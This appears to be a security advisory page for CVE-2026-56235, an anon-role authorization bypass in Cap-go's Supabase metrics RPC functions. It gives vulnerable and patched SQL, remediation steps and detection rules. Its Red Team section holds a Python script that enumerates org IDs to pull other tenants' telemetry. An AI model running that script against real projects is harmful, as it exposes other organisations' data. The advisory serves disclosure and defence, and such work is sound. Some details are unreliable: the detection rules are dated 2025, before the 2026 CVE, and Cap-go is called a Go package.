CVE-2026-56235
Executive Summary
CVE-2026-56235 is a critical authorization bypass vulnerability in Cap-go (capgo) versions prior to 12.128.2. The flaw resides in three Supabase PostgREST RPC functions (get_app_metrics, get_global_metrics, get_total_metrics) that are incorrectly granted to the anon role without enforcing org membership or permission checks. An unauthenticated attacker, using only the public Supabase API key (sb_publishable_*), can query arbitrary org_id values to disclose cross-tenant usage telemetry (MAU, bandwidth, installs, gets), enumerate app IDs for a target org, and determine org existence via an oracle (valid org returns metrics, invalid returns []). This vulnerability has a CVSS score of 7.5 (High) due to its network-based, low-complexity attack vector with no authentication required, leading to significant confidentiality impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Cap-go is a Go-based package. The vulnerability affects the Supabase backend configuration, not the package itself. However, any application using Cap-go versions prior to 12.128.2 with the default Supabase RLS policies is vulnerable. The fix requires updating the Cap-go package and reapplying the correct Row Level Security (RLS) policies to the Supabase project.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Exposure of sensitive telemetry data and org enumeration.
- Integrity (I): None (N) – No data modification possible.
- Availability (A): None (N) – No denial of service.
CVSS Score: 7.5 (High)
Threat Level: High. The vulnerability is trivial to exploit with a public API key and allows an attacker to harvest sensitive business intelligence across tenants.
Deep Dive & Mechanics
The vulnerability stems from misconfigured Row Level Security (RLS) policies in Supabase. The three RPC functions (get_app_metrics, get_global_metrics, get_total_metrics) are defined as SECURITY DEFINER (run with the privileges of the function owner) but are granted to the anon role. The functions accept an org_id parameter but do not verify that the requesting user belongs to that organization.
Attack Flow:
- The attacker obtains a public Supabase API key (
sb_publishable_*). This key is typically exposed in client-side code (e.g., mobile apps, web frontends). - The attacker sends a POST request to the Supabase PostgREST endpoint with the function name and a target
org_id. - If the
org_idexists, the function returns metrics (MAU, bandwidth, installs, gets). If it does not exist, it returns an empty array[]. - The attacker can iterate through
org_idvalues to enumerate all organizations and their app IDs.
Root Cause: The anon role should only have access to public data. The RPC functions should either be restricted to the authenticated role or include a check that the auth.uid() belongs to the requested org_id.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-12.128.2):
-- Example of a vulnerable RPC function
CREATE OR REPLACE FUNCTION get_app_metrics(org_id bigint)
RETURNS json
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
BEGIN
RETURN (SELECT json_agg(row_to_json(m)) FROM app_metrics m WHERE m.org_id = get_app_metrics.org_id);
END;
$$;
-- Grant to anon role (vulnerable)
GRANT EXECUTE ON FUNCTION get_app_metrics(bigint) TO anon;
Patched Code (12.128.2+):
-- Patched function with org membership check
CREATE OR REPLACE FUNCTION get_app_metrics(org_id bigint)
RETURNS json
LANGUAGE plpgsql
SECURITY DEFINER
AS $$
BEGIN
-- Verify the requesting user belongs to the org
IF NOT EXISTS (SELECT 1 FROM org_members WHERE user_id = auth.uid() AND org_id = get_app_metrics.org_id) THEN
RAISE EXCEPTION 'Unauthorized';
END IF;
RETURN (SELECT json_agg(row_to_json(m)) FROM app_metrics m WHERE m.org_id = get_app_metrics.org_id);
END;
$$;
-- Revoke from anon, grant to authenticated
REVOKE EXECUTE ON FUNCTION get_app_metrics(bigint) FROM anon;
GRANT EXECUTE ON FUNCTION get_app_metrics(bigint) TO authenticated;
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target Supabase project URL (e.g.,
https://xyz.supabase.co). - A public Supabase API key (
sb_publishable_*).
Exploit Script (Python):
import requests
import json
target_url = "https://xyz.supabase.co/rest/v1/rpc/get_app_metrics"
api_key = "sb_publishable_abcdef123456"
headers = {
"apikey": api_key,
"Authorization": f"Bearer {api_key}",
"Content-Type": "application/json"
}
# Enumerate org IDs
for org_id in range(1, 1000):
payload = {"org_id": org_id}
response = requests.post(target_url, headers=headers, json=payload)
if response.status_code == 200 and response.json() != []:
print(f"[+] Valid org found: {org_id}")
print(f"[+] Data: {json.dumps(response.json(), indent=2)}")
Expected Output:
{
"mau": 12345,
"bandwidth": 500000,
"installs": 1000,
"gets": 500
}
Blue Team
Lab Setup:
- Deploy a vulnerable Cap-go instance (version < 12.128.2) in a sandboxed environment.
- Use a tool like
mitmproxyto capture the API key from a legitimate client. - Run the exploit script to demonstrate data leakage.
Detection:
- Monitor for excessive calls to
/rest/v1/rpc/get_*_metricsendpoints with varyingorg_idparameters. - Alert on requests to these endpoints from IPs not associated with known users.
- Implement rate limiting on the Supabase API gateway.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/rest/v1/rpc/get_app_metrics - POST requests to
/rest/v1/rpc/get_global_metrics - POST requests to
/rest/v1/rpc/get_total_metrics - HTTP headers containing
apikey: sb_publishable_*
- POST requests to
- Behavioral IOCs:
- Sequential or random
org_idvalues in API requests. - High volume of 200 responses with JSON data vs. empty arrays.
- Sequential or random
- File IOCs:
- Log entries showing
anonrole executing RPC functions.
- Log entries showing
Detection Engineering
YARA Rule
rule supabase_anon_rpc_exploit {
meta:
description = "Detects exploitation of CVE-2026-56235 via anon role RPC calls"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-56235"
strings:
$rpc1 = "/rest/v1/rpc/get_app_metrics" ascii wide
$rpc2 = "/rest/v1/rpc/get_global_metrics" ascii wide
$rpc3 = "/rest/v1/rpc/get_total_metrics" ascii wide
$apikey = "sb_publishable_" ascii wide
condition:
any of ($rpc*) and $apikey
}
Sigma Rule
title: Supabase Anon Role RPC Abuse
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized access to Supabase RPC functions by anon role
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: supabase
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/rest/v1/rpc/get_app_metrics'
- '/rest/v1/rpc/get_global_metrics'
- '/rest/v1/rpc/get_total_metrics'
cs-headers: 'apikey: sb_publishable_*'
condition: selection
falsepositives:
- Legitimate public endpoints (if any)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-56235 Supabase Anon RPC Exploit"; flow:to_server; http.method; content:"POST"; http.uri; content:"/rest/v1/rpc/get_app_metrics"; http.header; content:"apikey"; content:"sb_publishable_"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Cap-go to version 12.128.2 or later.
- Revoke
EXECUTEprivilege on the three RPC functions from theanonrole. - Grant
EXECUTEonly to theauthenticatedrole. - Implement org membership checks in all RPC functions that accept
org_id.
Long-term Hardening:
- Audit all Supabase RPC functions for proper RLS policies.
- Use
SECURITY INVOKERinstead ofSECURITY DEFINERwhere possible. - Implement API key rotation and monitor for leaked keys.
- Deploy a Web Application Firewall (WAF) with rules to block enumeration patterns.
Validation:
- After patching, attempt the exploit again to confirm the functions return an authorization error.
- Review Supabase logs for any prior exploitation attempts.
Valters IT